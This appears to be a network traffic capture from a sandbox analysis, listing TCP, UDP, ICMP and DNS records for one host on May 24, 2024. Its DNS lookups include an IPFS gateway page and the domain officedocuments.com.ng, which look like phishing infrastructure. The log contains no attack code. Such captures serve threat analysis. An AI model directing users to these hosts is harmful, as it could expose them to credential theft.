May 24, 2024 00:26:14.295131922 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.296783924 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.296813011 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.299742937 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.299815893 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.312392950 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.312505960 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.313018084 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.313035011 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.355292082 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.414267063 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.414614916 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.414709091 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.414737940 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.414777040 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.414854050 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.414875031 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.426418066 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.426549911 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.426568985 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.428014040 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.428116083 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.428131104 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.429191113 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.429358959 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.429373026 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.432712078 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.432813883 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.432822943 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.486824989 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.522118092 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.522718906 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.522774935 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.522810936 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.522833109 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.522916079 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.523504972 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.524296999 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.524348021 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.524409056 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.524420023 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.524466991 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.525135040 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.525823116 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.525927067 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.525935888 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.525944948 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.526009083 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.526595116 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.527314901 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.527376890 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.527378082 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.527388096 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.527442932 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.528002977 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.528825045 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.528891087 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.528899908 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.529570103 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.529625893 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.529634953 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.534625053 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.534682035 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.534694910 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.540612936 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.540777922 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.540788889 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.564436913 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.566729069 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:14.566761017 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.567944050 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.568006992 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:14.570110083 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:14.570245981 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.570621014 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:14.570641041 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.591259003 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.591326952 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.591331005 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.591348886 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.591412067 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.592420101 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.592533112 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.592598915 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.592608929 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.593333960 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.593451023 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.593458891 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.597688913 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.597752094 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.597763062 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.607356071 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.607379913 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.607426882 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.607435942 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.607453108 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.607471943 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.607491970 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.607516050 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.610997915 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:14.614171028 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.614217043 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.614263058 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.614274979 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.614293098 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.622287989 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.622339010 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.622363091 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.622375011 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.622446060 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.672600031 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.680596113 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.680670977 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.680696011 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.680707932 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.680743933 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.680759907 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.685933113 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.685956001 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.686005116 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.686013937 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.686054945 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.686074972 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.686697006 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.686783075 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.686949015 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:14.693551064 CEST	49741	443	192.168.2.4	13.107.246.43
May 24, 2024 00:26:14.693593979 CEST	443	49741	13.107.246.43	192.168.2.4
May 24, 2024 00:26:14.694636106 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.694658041 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.694705963 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.694761992 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.694767952 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.694824934 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.698061943 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.698071957 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.698144913 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.698152065 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.698193073 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.702239990 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.702255964 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.702312946 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.702322006 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.702373028 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.755431890 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:14.755481958 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:14.755549908 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:14.756273031 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:14.756304026 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:14.783133030 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.783210993 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.783231974 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.783258915 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.783277035 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.783301115 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.786606073 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.786650896 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.786686897 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.786693096 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.786715984 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.786740065 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.789138079 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.789208889 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.789215088 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.789324999 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:14.789371967 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.789474964 CEST	49740	443	192.168.2.4	151.101.193.229
May 24, 2024 00:26:14.789490938 CEST	443	49740	151.101.193.229	192.168.2.4
May 24, 2024 00:26:15.445709944 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.488312006 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:15.488337040 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.489609957 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.489672899 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:15.494474888 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:15.494621992 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.496000051 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:15.496032953 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:15.496104002 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:15.496619940 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:15.496628046 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:15.496756077 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:15.496771097 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.550574064 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:15.598656893 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.598740101 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.598788977 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:15.602689028 CEST	49743	443	192.168.2.4	13.107.246.45
May 24, 2024 00:26:15.602706909 CEST	443	49743	13.107.246.45	192.168.2.4
May 24, 2024 00:26:15.962373018 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:15.962414980 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:15.962625027 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:15.965837002 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:15.965847969 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.232871056 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:16.280534983 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:16.445286036 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:16.445319891 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:16.449198961 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:16.449309111 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:16.471349955 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:16.471571922 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:16.514904976 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:16.514919996 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:16.561777115 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:16.622014046 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.622505903 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:16.675117970 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:16.675137997 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.676274061 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.718504906 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:16.742927074 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:16.790501118 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.991092920 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.991270065 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.991328001 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:16.991395950 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:16.991411924 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:16.991424084 CEST	49745	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:16.991430044 CEST	443	49745	2.19.104.72	192.168.2.4
May 24, 2024 00:26:17.038584948 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:17.038619041 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:17.038690090 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:17.039074898 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:17.039089918 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:17.740979910 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:17.741061926 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:17.760725975 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:17.760741949 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:17.760994911 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:17.762567997 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:17.806497097 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:18.061953068 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:18.062038898 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:18.062268972 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:18.083519936 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:18.083554029 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:18.083673954 CEST	49746	443	192.168.2.4	2.19.104.72
May 24, 2024 00:26:18.083682060 CEST	443	49746	2.19.104.72	192.168.2.4
May 24, 2024 00:26:26.101399899 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:26.101586103 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:26.101665020 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:27.400139093 CEST	49744	443	192.168.2.4	216.58.206.68
May 24, 2024 00:26:27.400176048 CEST	443	49744	216.58.206.68	192.168.2.4
May 24, 2024 00:26:28.189409018 CEST	80	49737	104.17.64.14	192.168.2.4
May 24, 2024 00:26:28.189634085 CEST	49737	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:29.406289101 CEST	49737	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:29.411747932 CEST	80	49737	104.17.64.14	192.168.2.4
May 24, 2024 00:26:59.109186888 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:59.150355101 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:27:15.437561989 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:15.437614918 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:15.437669992 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:15.439661980 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:15.439680099 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:16.122220039 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:16.122723103 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:16.122750998 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:16.123991966 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:16.124926090 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:16.125130892 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:16.175337076 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:23.578896999 CEST	49723	80	192.168.2.4	199.232.210.172
May 24, 2024 00:27:23.579030991 CEST	49724	80	192.168.2.4	199.232.210.172
May 24, 2024 00:27:23.615020037 CEST	80	49723	199.232.210.172	192.168.2.4
May 24, 2024 00:27:23.615058899 CEST	80	49724	199.232.210.172	192.168.2.4
May 24, 2024 00:27:23.615113974 CEST	49723	80	192.168.2.4	199.232.210.172
May 24, 2024 00:27:23.615147114 CEST	49724	80	192.168.2.4	199.232.210.172
May 24, 2024 00:27:26.022737980 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:26.022819042 CEST	443	49756	216.58.206.68	192.168.2.4
May 24, 2024 00:27:26.022871971 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:27.603332043 CEST	49756	443	192.168.2.4	216.58.206.68
May 24, 2024 00:27:27.603368044 CEST	443	49756	216.58.206.68	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 00:26:11.109968901 CEST	53	50766	1.1.1.1	192.168.2.4
May 24, 2024 00:26:11.116372108 CEST	53	51120	1.1.1.1	192.168.2.4
May 24, 2024 00:26:11.116409063 CEST	53	54061	1.1.1.1	192.168.2.4
May 24, 2024 00:26:12.186821938 CEST	53	53496	1.1.1.1	192.168.2.4
May 24, 2024 00:26:12.698647022 CEST	49483	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:12.698890924 CEST	50151	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:12.710937977 CEST	53	49483	1.1.1.1	192.168.2.4
May 24, 2024 00:26:12.716263056 CEST	53	50151	1.1.1.1	192.168.2.4
May 24, 2024 00:26:13.803286076 CEST	51722	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:13.804135084 CEST	58539	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:13.804789066 CEST	56210	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:13.805136919 CEST	56031	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:13.816207886 CEST	53	51722	1.1.1.1	192.168.2.4
May 24, 2024 00:26:13.818065882 CEST	53	58539	1.1.1.1	192.168.2.4
May 24, 2024 00:26:13.911479950 CEST	53	64347	1.1.1.1	192.168.2.4
May 24, 2024 00:26:13.999972105 CEST	53	56210	1.1.1.1	192.168.2.4
May 24, 2024 00:26:14.006608963 CEST	53	56031	1.1.1.1	192.168.2.4
May 24, 2024 00:26:14.231106043 CEST	58786	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:14.260868073 CEST	53	58786	1.1.1.1	192.168.2.4
May 24, 2024 00:26:15.358172894 CEST	55007	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:15.358536005 CEST	52689	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:15.412724018 CEST	53	52689	1.1.1.1	192.168.2.4
May 24, 2024 00:26:15.412749052 CEST	53	55007	1.1.1.1	192.168.2.4
May 24, 2024 00:26:30.079837084 CEST	53	60539	1.1.1.1	192.168.2.4
May 24, 2024 00:26:35.170979023 CEST	138	138	192.168.2.4	192.168.2.255
May 24, 2024 00:26:49.069180965 CEST	53	60672	1.1.1.1	192.168.2.4
May 24, 2024 00:27:10.770543098 CEST	53	54696	1.1.1.1	192.168.2.4
May 24, 2024 00:27:12.191329956 CEST	53	55003	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 24, 2024 00:26:13.911550999 CEST	192.168.2.4	1.1.1.1	c22e	(Port unreachable)	Destination Unreachable
May 24, 2024 00:26:14.763406038 CEST	192.168.2.4	1.1.1.1	c2dc	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 00:26:12.698647022 CEST	192.168.2.4	1.1.1.1	0xd805	Standard query (0)	bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:12.698890924 CEST	192.168.2.4	1.1.1.1	0xb554	Standard query (0)	bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com	65	IN (0x0001)	false
May 24, 2024 00:26:13.803286076 CEST	192.168.2.4	1.1.1.1	0xd6ec	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:13.804135084 CEST	192.168.2.4	1.1.1.1	0x2396	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
May 24, 2024 00:26:13.804789066 CEST	192.168.2.4	1.1.1.1	0x17e4	Standard query (0)	officedocuments.com.ng	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:13.805136919 CEST	192.168.2.4	1.1.1.1	0x7afe	Standard query (0)	officedocuments.com.ng	65	IN (0x0001)	false
May 24, 2024 00:26:14.231106043 CEST	192.168.2.4	1.1.1.1	0x3177	Standard query (0)	officedocuments.com.ng	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:15.358172894 CEST	192.168.2.4	1.1.1.1	0x6ba3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:15.358536005 CEST	192.168.2.4	1.1.1.1	0xf969	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 00:26:12.710937977 CEST	1.1.1.1	192.168.2.4	0xd805	No error (0)	bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com	cloudflare-ipfs.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:12.710937977 CEST	1.1.1.1	192.168.2.4	0xd805	No error (0)	cloudflare-ipfs.com		104.17.64.14	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:12.710937977 CEST	1.1.1.1	192.168.2.4	0xd805	No error (0)	cloudflare-ipfs.com		104.17.96.13	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:12.716263056 CEST	1.1.1.1	192.168.2.4	0xb554	No error (0)	bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com	cloudflare-ipfs.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:12.716263056 CEST	1.1.1.1	192.168.2.4	0xb554	No error (0)	cloudflare-ipfs.com			65	IN (0x0001)	false
May 24, 2024 00:26:13.816207886 CEST	1.1.1.1	192.168.2.4	0xd6ec	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:13.816207886 CEST	1.1.1.1	192.168.2.4	0xd6ec	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:13.816207886 CEST	1.1.1.1	192.168.2.4	0xd6ec	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:13.816207886 CEST	1.1.1.1	192.168.2.4	0xd6ec	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
